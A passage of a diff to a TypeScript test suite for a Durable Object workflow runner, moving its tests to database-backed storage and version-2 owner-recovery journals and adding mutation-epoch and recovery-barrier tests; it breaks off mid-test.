hooks?: OwnerHooks, ): TestEnv { - const registry = new InMemoryResourceOwnershipStore(); + const registry = new D1ResourceOwnershipStore( + testDatabase(storage) as ResourceOwnershipDatabase, + ); const attempts = new Map(); const customOwner = hooks?.owner; const owners: DurableObjectRunOwnershipStore = hooks @@ -129,7 +152,7 @@ function makeProductionEnv( }, } : registry; - const db = deploymentIdentityDatabase(); + const db = testDatabase(storage); return { storage, owners, @@ -153,8 +176,102 @@ function makeProductionEnv( * path made: a wake reads `authoritativeStatus`, an HTTP route reads * `status`. */ +async function durableOwnerRecovery( + runtime: RunnerRuntime, + workflowId: string, + runId: string, + token: string, +) { + const state = await runtime.authoritativeStartState(workflowId, runId); + if (!state) throw new Error('missing durable execution for journal fixture'); + return { + version: 2, + phase: 'prepared', + owner: { kind: 'human', id: 'owner-1' }, + workflowId, + runId, + token, + execution: state.execution, + }; +} + function statusStub(read: RunnerRuntime['status']) { - return { status: vi.fn(read), authoritativeStatus: vi.fn(read) }; + return { + status: vi.fn(read), + authoritativeStatus: vi.fn(read), + isRunActive: vi.fn(() => false), + assertExistingRunAllowed: vi.fn(async () => undefined), + }; +} + +async function hostR1WorkflowFixture( + mode: 'custom-null' | 'actual-prefix', + wired = true, +) { + const { InMemoryStore } = await import('@mastra/core/storage'); + const sql = openSqlite(); + const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase & + ResourceOwnershipDatabase; + const storage = + mode === 'custom-null' + ? new InMemoryStore() + : createD1Storage({ binding, tablePrefix: 'host_r1_' }); + await storage.init(); + const reservations = new StartIdempotencyStore(binding); + const app = init( + { storage }, + { executionFence: 'none', startIdempotency: wired ? reservations : 'none' }, + ); + let effects = 0; + app + .createWorkflow({ + id: 'host-r1', + inputSchema: z.object({}), + outputSchema: z.object({}), + }) + .then( + app.createStep({ + id: 'gate', + inputSchema: z.object({}), + outputSchema: z.object({}), + execute: async ({ suspend }) => { + effects++; + return suspend({ reason: 'held' }); + }, + }), + ) + .commit(); + const owners = new D1ResourceOwnershipStore(binding); + const hostRuntime = new Proxy({} as RunnerRuntime, { + get: (_target, property) => { + const value: unknown = Reflect.get(app.runtime, property, app.runtime); + return typeof value === 'function' ? value.bind(app.runtime) : value; + }, + }); + const env: TestEnv = { + storage, + owners, + runtime: hostRuntime, + DB: deploymentIdentityDatabase(), + DEPLOYMENT_TENANT: 'acme', + DEPLOYMENT_IDENTITY_SECRET: TEST_DEPLOYMENT_IDENTITY_SECRET, + }; + const journal = recoveryStorage(); + const runner = new TestRunner(journal.state, env); + const workflows = await storage.getStore('workflows'); + if (!workflows) throw new Error('missing workflow domain'); + return { + app, + storage, + workflows, + reservations, + owners, + env, + journal, + runner, + sql, + effects: () => effects, + }; } /** @@ -164,35 +281,27 @@ function statusStub(read: RunnerRuntime['status']) { * it buys is that they are FENCED runtimes, which is what DurableObjectRunner * asserts of anything it serves from while a DB binding is bound. */ -function newTestExecutionFence(): ExecutionFenceStore { - return new ExecutionFenceStore( - sqliteUnitDatabase(openSqlite()) as ExecutionFenceDatabase, - ); +function newTestExecutionFence( + storage: MastraCompositeStore, +): ExecutionFenceStore { + return new ExecutionFenceStore(testDatabase(storage)); } - -/** - * A start-reservation store over its own throwaway database, for the same - * reason as the fence above: DurableObjectRunner refuses to serve from a - * runtime that has none while a DB binding is bound, and every runner in this - * file carries one. No key is ever used against it, so the table is never even - * created and every runner behaves exactly as it did before reservations. - */ -function newTestStartIdempotency(): StartIdempotencyStore { - return new StartIdempotencyStore( - sqliteUnitDatabase(openSqlite()) as StartIdempotencyDatabase, - ); +function newTestStartIdempotency( + storage: MastraCompositeStore, +): StartIdempotencyStore { + return new StartIdempotencyStore(testDatabase(storage)); } function gatedRuntime( storage: MastraCompositeStore, - executionFence: ExecutionFenceStore = newTestExecutionFence(), + executionFence: ExecutionFenceStore = newTestExecutionFence(storage), requestContextForRun?: RequestContextProvider, ): RunnerRuntime { const { createWorkflow, createStep, runtime } = init( { storage }, { executionFence, - startIdempotency: newTestStartIdempotency(), + startIdempotency: newTestStartIdempotency(storage), requestContextForRun, }, ); @@ -218,6 +327,21 @@ function gatedRuntime( } class TestRunner extends DurableObjectRunner { + constructor( + state: DurableObjectState | undefined, + env: TestEnv, + withStorage = true, + ) { + super( + withStorage + ? ({ + ...state, + storage: state?.storage ?? recoveryStorage().state.storage, + } as DurableObjectState) + : state, + env, + ); + } protected runOwnership(env: TestEnv): DurableObjectRunOwnershipStore { return env.owners; } @@ -231,7 +355,65 @@ class TestRunner extends DurableObjectRunner { } protected build(env: TestEnv): RunnerRuntime { - if (env.runtime) return env.runtime; + if (env.runtime) { + if ( + env.runtime.constructor.name !== 'RunnerRuntime' && + !env.runtime.authoritativeStartState + ) { + const selected = new Map< + string, + import('./runtime.js').AuthoritativeStartState + >(); + const nativeStart = env.runtime.start?.bind(env.runtime); + env.runtime.authoritativeStartState = vi.fn( + async (_workflow, runId) => selected.get(runId) ?? null, + ); + env.runtime.settleStartExecution = vi.fn(async () => {}); + env.runtime.isRunActive ??= vi.fn(() => false); + env.runtime.assertExistingRunAllowed ??= vi.fn(async () => undefined); + if (nativeStart) + env.runtime.start = vi.fn(async (workflowId, options) => { + const summary = await nativeStart(workflowId, options); + const execution = { + tablePrefix: null, + workflowId, + runId: summary.runId, + startToken: 'stub-generation', + } as const; + await options?.onPreparedStartIdentity?.(execution); + const provenance = { + version: 2 as const, + startToken: execution.startToken, + attemptToken: options?.attemptToken ?? 'stub-attempt', + resumeCounts: [], + startIdentity: options?.startIdentity, + }; + selected.set(summary.runId, { + kind: 'result', + storage: 'unfenced', + execution, + provenance, + summary, + snapshot: { + runId: summary.runId, + status: summary.status, + context: {}, + value: {}, + serializedStepGraph: [], + activePaths: [], + activeStepsPath: {}, + suspendedPaths: {}, + resumeLabels: {}, + waitingPaths: {}, + timestamp: 1, + requestContext: {}, + }, + } as import('./runtime.js').AuthoritativeStartState); + return summary; + }); + } + return env.runtime; + } return gatedRuntime(env.storage, env.fence); } } @@ -363,6 +545,10 @@ function cWorkflowFixture(owned = false, provider?: RequestContextProvider) { const binding = env.DB; if (!binding) throw new Error('missing managed test database'); const storage = owned ? createD1Storage({ binding }) : env.storage; + testStorageDatabases.set( + storage, + binding as ExecutionFenceDatabase & ResourceOwnershipDatabase, + ); const runtime = gatedRuntime(storage, env.fence, provider); env.runtime = runtime; const runner = new TestRunner(journal.state, env); @@ -682,25 +868,34 @@ describe('C workflow ingress capture', () => { options?.attemptToken, ); expect(Object.hasOwn(options ?? {}, 'onPreparedStartIdentity')).toBe(true); - expect(options?.onPreparedStartIdentity).toBeUndefined(); + expect(options?.onPreparedStartIdentity).toBeTypeOf('function'); expect(fixture.reserve.mock.calls[0]).toEqual([ [{ kind: 'run', resourceId: 'c-run' }], expectedOwner, options?.attemptToken, ]); - expect( - writes.filter(([key]) => key.startsWith('flowsafe:run-owner-recovery')), - ).toEqual([ - [ - 'flowsafe:run-owner-recovery:v1', - { - version: 1, - workflowId: 'gated', - runId: 'c-run', - token: options?.attemptToken, - }, - ], - ]); + const journals = writes.filter(([key]) => + key.startsWith('flowsafe:run-owner-recovery'), + ); + expect(journals).toHaveLength(2); + expect(journals[0]?.[1]).toMatchObject({ + version: 2, + phase: 'preparing', + workflowId: 'gated', + runId: 'c-run', + token: options?.attemptToken, + owner: expectedOwner, + }); + expect(journals[1]?.[1]).toMatchObject({ + version: 2, + phase: 'prepared', + execution: { + tablePrefix: '', + workflowId: 'gated', + runId: 'c-run', + startToken: expect.any(String), + }, + }); for (const count of reads.values()) expect(count).toBe(1); expect(ownerReads.kind).toHaveBeenCalledTimes(scheduled ? 1 : 0); expect(ownerReads.id).toHaveBeenCalledTimes(scheduled ? 1 : 0); @@ -751,7 +946,7 @@ describe('C workflow ingress capture', () => { 'normal', 'failure', 'recovery', - ] as const)('C workflow host preserves v1 owner recovery without automatic activation: %s', async (phase) => { + ] as const)('FS8 D3 host activation workflow preparation and ownership: %s', async (phase) => { const failure = new Error('C managed provider failed'); const fixture = cWorkflowFixture( true, @@ -809,35 +1004,40 @@ describe('C workflow ingress capture', () => { expect(response.status).toBe(phase === 'failure' ? 500 : 200); expect(fixture.start).toHaveBeenCalledOnce(); const options = fixture.start.mock.calls[0]?.[1]; - expect(options).toHaveProperty('onPreparedStartIdentity', undefined); + expect(options).toHaveProperty( + 'onPreparedStartIdentity', + expect.any(Function), + ); expect(Object.hasOwn(options ?? {}, 'onPreparedStartIdentity')).toBe( true, ); const journals = writes.filter(([key]) => key.startsWith('flowsafe:run-owner-recovery'), ); - expect(journals).toEqual([ - [ - 'flowsafe:run-owner-recovery:v1', - { - version: 1, - workflowId: 'gated', - runId: 'c-run', - token: options?.attemptToken, - }, - ], - ]); + expect(journals).toHaveLength(phase === 'failure' ? 1 : 2); + expect(journals[0]?.[1]).toMatchObject({ + version: 2, + phase: 'preparing', + token: options?.attemptToken, + }); + if (phase !== 'failure') + expect(journals[1]?.[1]).toMatchObject({ + phase: 'prepared', + execution: { startToken: expect.any(String) }, + }); const snapshot = await workflows.loadWorkflowSnapshot({ workflowName: 'gated', runId: 'c-run', }); if (phase === 'failure') expect(snapshot).toBeNull(); else { - expect(snapshot?.requestContext?.['flowsafe.runProvenance']).toEqual({ - version: 1, + expect( + snapshot?.requestContext?.['flowsafe.runProvenance'], + ).toMatchObject({ + version: 2, requestedBy: OWNER_PRINCIPAL.id, requestedByKind: OWNER_PRINCIPAL.kind, - startToken: options?.attemptToken, + startToken: expect.any(String), attemptToken: options?.attemptToken, resumeCounts: [], }); @@ -853,7 +1053,7 @@ describe('C workflow ingress capture', () => { if (phase === 'recovery') expect( fixture.journal.values.has('flowsafe:run-owner-recovery:v1'), - ).toBe(true); + ).toBe(false); await fixture.runner.alarm(); expect(fixture.journal.values.has('flowsafe:run-owner-recovery:v1')).toBe( false, @@ -873,7 +1073,10 @@ describe('C workflow ingress capture', () => { writes.filter(([key]) => key.startsWith('flowsafe:run-owner-recovery')), ).toEqual(journals); } finally { - expect(counts).toEqual({ admission: 0, terminalization: 0 }); + expect(counts).toEqual({ + admission: phase === 'failure' ? 0 : 1, + terminalization: 0, + }); } }); @@ -882,7 +1085,7 @@ describe('C workflow ingress capture', () => { 1, 2, 3, - ])('C does not enforce active mutation epoch at workflow DO start: %s', async (epoch) => { + ])('FS8 D3 host activation enforces active mutation epoch at workflow start: %s', async (epoch) => { const fixture = cWorkflowFixture(true); await fixture.storage.init(); await cRequireEpoch2(fixture.env.fence); @@ -890,7 +1093,13 @@ describe('C workflow ingress capture', () => { if (epoch !== undefined) request.headers.set(MUTATION_EPOCH_HEADER, String(epoch)); const response = await fixture.runner.fetch(request); - expect(response.status).toBe(200); + expect(response.status).toBe(epoch === 2 ? 200 : 409); + if (epoch !== 2) { + expect(await response.json()).toMatchObject({ + reason: { code: 'MUTATION_EPOCH_MISMATCH' }, + }); + return; + } expect(await response.json()).toMatchObject({ runId: 'c-run', status: 'suspended', @@ -898,7 +1107,10 @@ describe('C workflow ingress capture', () => { expect(fixture.start).toHaveBeenCalledOnce(); const options = fixture.start.mock.calls[0]?.[1]; expect(options?.mutationEpoch).toBe(epoch); - expect(options).toHaveProperty('onPreparedStartIdentity', undefined); + expect(options).toHaveProperty( + 'onPreparedStartIdentity', + expect.any(Function), + ); expect(options?.startIdentity).toEqual({ owner: { kind: OWNER_PRINCIPAL.kind, id: OWNER_PRINCIPAL.id }, target: { kind: 'workflow', id: 'gated' }, @@ -908,11 +1120,11 @@ describe('C workflow ingress capture', () => { workflowName: 'gated', runId: 'c-run', }); - expect(snapshot?.requestContext?.['flowsafe.runProvenance']).toEqual({ - version: 1, + expect(snapshot?.requestContext?.['flowsafe.runProvenance']).toMatchObject({ + version: 2, requestedBy: OWNER_PRINCIPAL.id, requestedByKind: OWNER_PRINCIPAL.kind, - startToken: options?.attemptToken, + startToken: expect.any(String), attemptToken: options?.attemptToken, resumeCounts: [], }); @@ -964,7 +1176,7 @@ describe('C workflow ingress capture', () => { }); expect(options?.mutationEpoch).toBe(epoch); expect(Object.hasOwn(options ?? {}, 'onPreparedStartIdentity')).toBe(true); - expect(options?.onPreparedStartIdentity).toBeUndefined(); + expect(options?.onPreparedStartIdentity).toBeTypeOf('function'); }); it.each([ @@ -1141,7 +1353,7 @@ describe('DurableObjectRunner.fetch', () => { start: vi.fn(), } as unknown as RunnerRuntime; const runner = new TestRunner(undefined, { - ...makeProductionEnv(new InMemoryStore(), { + ...makeProductionEnv(testStorage(), { reserve, settle: vi.fn(async () => undefined), }), @@ -1348,10 +1560,12 @@ describe('DurableObjectRunner.fetch', () => { }); it('binds a scheduled workflow run to the committed schedule owner and the header requester', async () => { - const owners = new InMemoryResourceOwnershipStore(); + const env = makeProductionEnv(); + const owners = new D1ResourceOwnershipStore( + testDatabase(env.storage) as ResourceOwnershipDatabase, + ); const scheduleOwner = { kind: 'human' as const, id: 'schedule-owner' }; await owners.claim('schedule', 'schedule-gated', scheduleOwner); - const env = makeProductionEnv(); env.owners = owners; env.schedules = preparedScheduleSource({ scheduleId: 'schedule-gated', @@ -1623,7 +1837,7 @@ describe('DurableObjectRunner.fetch', () => { }); const runner = new TestRunner( state, - makeProductionEnv(new InMemoryStore(), { reserve, settle }), + makeProductionEnv(testStorage(), { reserve, settle }), ); const response = await runner.fetch( @@ -1660,7 +1874,10 @@ describe('DurableObjectRunner.fetch', () => { it('returns a persisted start after a lost settlement receipt and clears recovery on retry', async () => { const events: string[] = []; const { state, values } = recoveryStorage(events); - const committed = new InMemoryResourceOwnershipStore(); + const env = makeProductionEnv(); + const committed = new D1ResourceOwnershipStore( + testDatabase(env.storage) as ResourceOwnershipDatabase, + ); let loseReceipt = true; const owners: DurableObjectRunOwnershipStore = { owner: (kind, resourceId) => committed.owner(kind, resourceId), @@ -1674,7 +1891,6 @@ describe('DurableObjectRunner.fetch', () => { } }, }; - const env = makeProductionEnv(); env.owners = owners; const runner = new TestRunner(state, env); const log = vi.spyOn(console, 'error').mockImplementation(() => {}); @@ -1689,7 +1905,7 @@ describe('DurableObjectRunner.fetch', () => { ); expect(response.status).toBe(200); - expect(values.has('flowsafe:run-owner-recovery:v1')).toBe(true); + expect(values.has('flowsafe:run-owner-recovery:v1')).toBe(false); expect( await committed.owner('run', 'run-lost-settlement-receipt'), ).toEqual({ kind: 'human', id: 'owner-1' }); @@ -1718,7 +1934,7 @@ describe('DurableObjectRunner.fetch', () => { recoverStartAttempt: vi.fn(async () => null), } as unknown as RunnerRuntime; const runner = new TestRunner(state, { - ...makeProductionEnv(new InMemoryStore(), { reserve, settle }), + ...makeProductionEnv(testStorage(), { reserve, settle }), runtime, }); @@ -1739,7 +1955,7 @@ describe('DurableObjectRunner.fetch', () => { ); }); - it('keeps the journal and names the failure when an interrupted start cannot read authoritative state', async () => { + it('rolls back preparing bookkeeping without querying a failed Runtime reader', async () => { // #given — the same failed start, with the read that would tell an // interrupted start apart from a failed one refusing to answer from state // it could not reach. @@ -1756,7 +1972,7 @@ describe('DurableObjectRunner.fetch', () => { }), } as unknown as RunnerRuntime; const runner = new TestRunner(state, { - ...makeProductionEnv(new InMemoryStore(), { reserve, settle }), + ...makeProductionEnv(testStorage(), { reserve, settle }), runtime, }); const logged: string[] = []; @@ -1787,11 +2003,13 @@ describe('DurableObjectRunner.fetch', () => { // #then — and the failure is named rather than swallowed, because it is // the reason the attempt is left unsettled with its journal armed for a // wake that can read. - expect(logged).toContain( - 'interrupted start could not read authoritative state', + expect(logged).toEqual([]); + expect(settle).toHaveBeenCalledWith( + expect.any(String), + 'run-blind-start', + true, ); - expect(settle).not.toHaveBeenCalled(); - expect(values.has('flowsafe:run-owner-recovery:v1')).toBe(true); + expect(values.has('flowsafe:run-owner-recovery:v1')).toBe(false); expect(alarms.at(-1)).toBeGreaterThanOrEqual(before + 60_000); }); @@ -1799,7 +2017,7 @@ describe('DurableObjectRunner.fetch', () => { const { state, values } = recoveryStorage(); const reserve = vi.fn(async () => false); const settle = vi.fn(async () => undefined); - const env = makeProductionEnv(new InMemoryStore(), { reserve, settle }); + const env = makeProductionEnv(testStorage(), { reserve, settle }); const runner = new TestRunner(state, env); const response = await runner.fetch( @@ -1818,7 +2036,7 @@ describe('DurableObjectRunner.fetch', () => { ) ).status, ).toBe(404); - expect(values.has('flowsafe:run-owner-recovery:v1')).toBe(true); + expect(values.has('flowsafe:run-owner-recovery:v1')).toBe(false); await runner.alarm(); expect(settle).toHaveBeenCalledWith( expect.any(String), @@ -1832,14 +2050,16 @@ describe('DurableObjectRunner.fetch', () => { const { state, values } = recoveryStorage(); const settle = vi.fn(async () => undefined); values.set('flowsafe:run-owner-recovery:v1', { - version: 1, + version: 2, + phase: 'preparing', + owner: { kind: 'human', id: 'owner-1' }, workflowId: 'gated/forged', runId: 'run-recovery', token: 'attempt-token', }); const runner = new TestRunner( state, - makeProductionEnv(new InMemoryStore(), { + makeProductionEnv(testStorage(), { reserve: vi.fn(async () => true), settle, }), @@ -2123,7 +2343,7 @@ describe('DurableObjectRunner.fetch', () => { const settle = vi.fn(async () => undefined); const runner = new TestRunner( undefined, - makeProductionEnv(new InMemoryStore(), { + makeProductionEnv(testStorage(), { reserve, settle, owner: async () => undefined, @@ -2309,8 +2529,8 @@ describe('DurableObjectRunner.fetch', () => { const { createWorkflow, createStep, runtime } = init( { storage: env.storage }, { - executionFence: env.fence ?? newTestExecutionFence(), - startIdempotency: newTestStartIdempotency(), + executionFence: env.fence ?? newTestExecutionFence(env.storage), + startIdempotency: newTestStartIdempotency(env.storage), }, ); const gate = createStep({ @@ -2426,7 +2646,7 @@ describe('DurableObjectRunner.fetch', () => { }); it('persists cancellation before cleanup and authorizes only the original principal on replay', async () => { - const storage = new InMemoryStore(); + const storage = testStorage(); const abandonApprovals = vi.fn(async () => undefined); const env = makeProductionEnv(storage); env.lifecycle = { abandonApprovals }; @@ -2493,7 +2713,7 @@ describe('DurableObjectRunner.fetch', () => { }); it('returns a structured 409 and retains ownership for a persisted disputed settlement', async () => { - const storage = new InMemoryStore(); + const storage = testStorage(); const env = makeProductionEnv(storage); const runner = new TestRunner(undefined, env); await runner.fetch( @@ -2547,7 +2767,7 @@ describe('DurableObjectRunner.fetch', () => { }); it('re-drives deadline cleanup after a crash between ownership release and cleanup completion', async () => { - const storage = new InMemoryStore(); + const storage = testStorage(); const runtime = gatedRuntime(storage); const complete = runtime.completeTerminalCleanup.bind(runtime); let wedge = true; @@ -2636,7 +2856,7 @@ describe('DurableObjectRunner.fetch', () => { }); it('replays a post-intent core-canceled deadline from the scanner through a fresh owner object', async () => { - const storage = new InMemoryStore(); + const storage = testStorage(); const env = makeProductionEnv(storage); const original = new TestRunner(undefined, env); const started = await original.fetch( @@ -2858,13 +3078,13 @@ type TimedStepExecute = ExecuteFunction< // the step rather than only that a resume happened. `onSettle` counts the // settling gates' post-suspension executions for countedTimedRuntime. function timedRuntime( - storage: InMemoryStore, + storage: MastraCompositeStore, onSettle?: () => void, - executionFence: ExecutionFenceStore = newTestExecutionFence(), + executionFence: ExecutionFenceStore = newTestExecutionFence(storage), ): RunnerRuntime { const { createWorkflow, createStep, runtime } = init( { storage }, - { executionFence, startIdempotency: newTestStartIdempotency() }, + { executionFence, startIdempotency: newTestStartIdempotency(storage) }, ); const timedStep = (id: string, execute: TimedStepExecute) => createStep({ @@ -2968,7 +3188,7 @@ function timedRuntime( // path. Mastra keys its snapshot namespace by that joined path, so the two // suspensions are indistinguishable there, and an entry armed for one of them // could resume the other. -function collidingRuntime(storage: InMemoryStore): { +function collidingRuntime(storage: MastraCompositeStore): { runtime: RunnerRuntime; settled: () => string[]; } { @@ -2976,8 +3196,8 @@ function collidingRuntime(storage: InMemoryStore): { const { createWorkflow, createStep, runtime } = init( { storage }, { - executionFence: newTestExecutionFence(), - startIdempotency: newTestStartIdempotency(), + executionFence: newTestExecutionFence(storage), + startIdempotency: newTestStartIdempotency(storage), }, ); const suspending = (id: string, label: string) => @@ -3018,7 +3238,7 @@ function collidingRuntime(storage: InMemoryStore): { // suspended path with one fence, so bounded work per wake has to be judged on // the iterations rather than on the path. function foreachRuntime( - storage: InMemoryStore, + storage: MastraCompositeStore, workflowId: string, options?: { concurrency: number }, ): { runtime: RunnerRuntime; timedOut: () => number[] } { @@ -3026,8 +3246,8 @@ function foreachRuntime( const { createWorkflow, createStep, runtime } = init( { storage }, { - executionFence: newTestExecutionFence(), - startIdempotency: newTestStartIdempotency(), + executionFence: newTestExecutionFence(storage), + startIdempotency: newTestStartIdempotency(storage), }, ); const gate = createStep({ @@ -3072,7 +3292,7 @@ function timedEnv(): TestEnv { // The same `timed` gate, counting how often its post-suspension body ran, so a // race between a wake and a real signal can be judged on the one thing that // matters: the gated action must not execute twice. -function countedTimedRuntime(storage: InMemoryStore): { +function countedTimedRuntime(storage: MastraCompositeStore): { runtime: RunnerRuntime; settled: () => number; } { @@ -3215,20 +3435,39 @@ function deadlineWriteFailures( * rather than shared: runtime.test.ts keeps its own copy beside its own * fixtures, which is cheaper than a shared module for eight lines. */ -async function blindWorkflowRow(storage: InMemoryStore): Promise<() => void> { +async function blindWorkflowRow( + storage: MastraCompositeStore, +): Promise<() => void> { const store = (await storage.getStore('workflows')) as unknown as { getWorkflowRunById: (args: unknown) => Promise; }; + const domain = store as unknown as FencedWorkflowsStorageD1; + const capability = domain[FENCED_WORKFLOW_STORAGE]; + if (capability) + Object.defineProperty(domain, FENCED_WORKFLOW_STORAGE, { + value: { + ...capability, + readSnapshot: async () => { + throw new Error('selected workflow row unavailable'); + }, + }, + configurable: true, + }); const original = store.getWorkflowRunById; store.getWorkflowRunById = async () => null; return () => { store.getWorkflowRunById = original; + if (capability) + Object.defineProperty(domain, FENCED_WORKFLOW_STORAGE, { + value: capability, + configurable: true, + }); }; } /** Count the real row deletions a wake performs, and restore the store. */ async function countRowDeletes( - storage: InMemoryStore, + storage: MastraCompositeStore, ): Promise<{ calls: () => number; restore: () => void }> { const store = (await storage.getStore('workflows')) as unknown as { deleteWorkflowRunById: (args: unknown) => Promise; @@ -3325,7 +3564,9 @@ describe('DurableObjectRunner suspension deadlines', () => { { ...armedEntry('gate', 1), deadlineAt: dueAt }, ]); values.set('flowsafe:run-owner-recovery:v1', { - version: 1, + version: 2, + phase: 'preparing', + owner: { kind: 'human', id: 'owner-1' }, workflowId: 'timed', runId: 'run-cleared', token: 'attempt-token', @@ -3884,7 +4125,7 @@ describe('DurableObjectRunner suspension deadlines', () => { storage: doStorage, } as unknown as DurableObjectState; const settle = vi.fn(async () => undefined); - const env = makeProductionEnv(new InMemoryStore(), { + const env = makeProductionEnv(testStorage(), { reserve: async () => true, settle, }); @@ -3904,12 +4145,15 @@ describe('DurableObjectRunner suspension deadlines', () => { requestedByKind: OWNER_PRINCIPAL.kind, attemptToken: token, }); - values.set('flowsafe:run-owner-recovery:v1', { - version: 1, - workflowId: 'timed', - runId: 'run-blinded-recovery', - token, - }); + values.set( + 'flowsafe:run-owner-recovery:v1', + await durableOwnerRecovery( + env.runtime as RunnerRuntime, + 'timed', + 'run-blinded-recovery', + token, + ), + ); const runner = new TestRunner(state, env); const deletes = await countRowDeletes(env.storage); const restore = await blindWorkflowRow(env.storage); @@ -3971,7 +4215,15 @@ describe('DurableObjectRunner suspension deadlines', () => { // The interrupted start this route settles, with the read that would // settle it refusing to answer from state it could not reach. values.set('flowsafe:run-owner-recovery:v1', { - version: 1, + version: 2, + phase: 'prepared', + owner: { kind: 'human', id: 'owner-1' }, + execution: { + tablePrefix: '', + workflowId: 'timed', + runId: 'run-unreadable-route', + startToken: 'test-generation', + }, workflowId: 'timed', runId: 'run-unreadable-route', token: 'attempt-token', @@ -4010,7 +4262,15 @@ describe('DurableObjectRunner suspension deadlines', () => { }), } as unknown as RunnerRuntime; values.set('flowsafe:run-owner-recovery:v1', { - version: 1, + version: 2, + phase: 'prepared', + owner: { kind: 'human', id: 'owner-1' }, + execution: { + tablePrefix: '', + workflowId: 'timed', + runId: 'run-start-unreadable', + startToken: 'test-generation', + }, workflowId: 'timed', runId: 'run-start-unreadable', token: 'attempt-token', @@ -5029,7 +5289,7 @@ describe('DurableObjectRunner suspension deadlines', () => { // #then — the live summary reports the id whole, and the entry is keyed by // the same joined path the payload and the fence are keyed by. - expect(started.suspended).toEqual([[DOTTED_STEP]]); + expect(started.suspended).toEqual([DOTTED_STEP.split('.')]); expect(storedDeadlines(values)?.entries).toEqual([ armedEntry(DOTTED_STEP, suspendedAt), ]); @@ -5091,12 +5351,15 @@ describe('DurableObjectRunner suspension deadlines', () => { attemptToken: token, }); expect(started.status).toBe('suspended'); - values.set('flowsafe:run-owner-recovery:v1', { - version: 1, - workflowId: 'timed', - runId: 'run-interrupted', - token, - }); + values.set( + 'flowsafe:run-owner-recovery:v1', + await durableOwnerRecovery( + env.runtime as RunnerRuntime, + 'timed', + 'run-interrupted', + token, + ), + ); const runner = new TestRunner(state, env); await runner.alarm(); @@ -5413,12 +5676,15 @@ describe('DurableObjectRunner suspension deadlines', () => { requestedByKind: OWNER_PRINCIPAL.kind, attemptToken: token, }); - values.set('flowsafe:run-owner-recovery:v1', { - version: 1, - workflowId: 'timed', - runId: 'run-recovery-arm', - token, - }); + values.set( + 'flowsafe:run-owner-recovery:v1', + await durableOwnerRecovery( + env.runtime as RunnerRuntime, + 'timed', + 'run-recovery-arm', + token, + ), + ); const runner = new TestRunner(state, env); const log = vi.spyOn(console, 'error').mockImplementation(() => {}); const before = Date.now(); @@ -6182,7 +6448,7 @@ describe('DurableObjectRunner and the deployment execution fence', () => { const events: string[] = []; const { state } = recoveryStorage(events); const reserve = vi.fn(async () => true); - const env = makeProductionEnv(new InMemoryStore(), { + const env = makeProductionEnv(testStorage(), { reserve, settle: vi.fn(async () => undefined), }); @@ -6363,15 +6629,16 @@ describe('DurableObjectRunner and the deployment execution fence', () => { { storage: env.storage }, { startIdempotency: 'none', executionFence: 'none' }, ).runtime; - const runner = new TestRunner(undefined, env); + const runner = new TestRunner(undefined, env, false); // #then — past the guard. 404 is this bare runtime answering for a workflow // it was never given; what matters is that it ANSWERED, where the D1-shaped // binding above produced the guard's 500. const response = await runner.fetch( - post('/runs', { workflowId: 'gated', runId: 'rpc-db' }), + deploymentIdentityRequest('http://do/runs/gated/rpc-db/start-liveness'), ); - expect(response.status).toBe(404); + expect(response.status).toBe(200); + expect(await response.json()).toEqual({ live: false }); }); }); @@ -6403,12 +6670,12 @@ describe('DurableObjectRunner — idempotent start plumbing', () => { // This is the whole point of the route: the start holds the operation lock // for its entire first leg, so a probe that took that lock would block for // exactly as long as the run it was trying to describe. - const storage = new InMemoryStore(); + const storage = testStorage(); const { createWorkflow, createStep, runtime } = init( { storage }, { - executionFence: newTestExecutionFence(), - startIdempotency: newTestStartIdempotency(), + executionFence: newTestExecutionFence(storage), + startIdempotency: newTestStartIdempotency(storage), }, ); let probed!: (value: unknown) => void; @@ -6485,7 +6752,7 @@ describe('DurableObjectRunner — idempotent start plumbing', () => { it('admits exactly the proof-only start that carries the nominated key, end to end', async () => { // #given a deployment fenced into proof-only, addressed through the route // a trusted Worker actually uses - const storage = new InMemoryStore(); + const storage = testStorage(); const env = makeProductionEnv(storage); const fence = env.fence as ExecutionFenceStore; await fence.seed('migration-locked'); @@ -6531,8 +6798,14 @@ describe('DurableObjectRunner — idempotent start plumbing', () => { }), ); expect(admitted.status).toBe(200); - await expect(fence.read()).resolves.toEqual({ + await expect(fence.read()).resolves.toMatchObject({ state: 'proof-only', + proofExecution: { + tablePrefix: '', + workflowId: 'gated', + runId: 'run-proof', + startToken: expect.any(String), + }, proofKey: 'proof-key-1', proofRunId: 'run-proof', mutationEpoch: 0, @@ -6557,7 +6830,7 @@ describe('DurableObjectRunner — idempotent start plumbing', () => { // #given a fence that reads proof-only and then, between the admitting // read and the write-back, has been transitioned away — the 0-row case // recordProofRun's CAS exists for - const storage = new InMemoryStore(); + const storage = testStorage(); const env = makeProductionEnv(storage); const fence = env.fence as ExecutionFenceStore; await fence.seed('migration-locked'); @@ -6615,3 +6888,1777 @@ describe('DurableObjectRunner — idempotent start plumbing', () => { }); }); }); + +describe('FS8 D3 host activation workflow recovery barriers', () => { + async function preparedFixture() { + const fixture = cWorkflowFixture(true); + const writes: unknown[] = []; + const put = fixture.journal.storage.put.bind(fixture.journal.storage); + vi.spyOn(fixture.journal.storage, 'put').mockImplementation( + async (key, value) => { + if (key === 'flowsafe:run-owner-recovery:v1') + writes.push(structuredClone(value)); + await put(key, value); + }, + ); + const response = await fixture.runner.fetch(post('/runs', C_WORKFLOW_BODY)); + expect(response.status).toBe(200); + const journal = writes.at(-1) as Record; + expect(journal).toMatchObject({ + version: 2, + phase: 'prepared', + owner: { kind: 'human', id: 'owner-1' }, + }); + fixture.journal.values.set( + 'flowsafe:run-owner-recovery:v1', + structuredClone(journal), + ); + return { ...fixture, journalValue: journal }; + } + + it.each([ + 'phase', + 'generation', + 'owner', + ] as const)('preserves a replacement journal with repeated H after recovery read: %s', async (field) => { + const fixture = await preparedFixture(); + const replacement = structuredClone(fixture.journalValue); + if (field === 'phase') replacement.phase = 'prepared-unfenced'; + if (field === 'generation') + (replacement.execution as { startToken: string }).startToken = + 'replacement-generation'; + if (field === 'owner') + replacement.owner = { kind: 'human', id: 'replacement-owner' }; + const nativeRecover = fixture.runtime.recoverStartAttempt.bind( + fixture.runtime, + ); + vi.spyOn(fixture.runtime, 'recoverStartAttempt').mockImplementation( + async (...args) => { + const result = await nativeRecover(...args); + fixture.journal.values.set( + 'flowsafe:run-owner-recovery:v1', + replacement, + ); + return result; + }, + ); + const outcome = await fixture.runner + .alarm() + .catch((error: unknown) => error); + expect( + 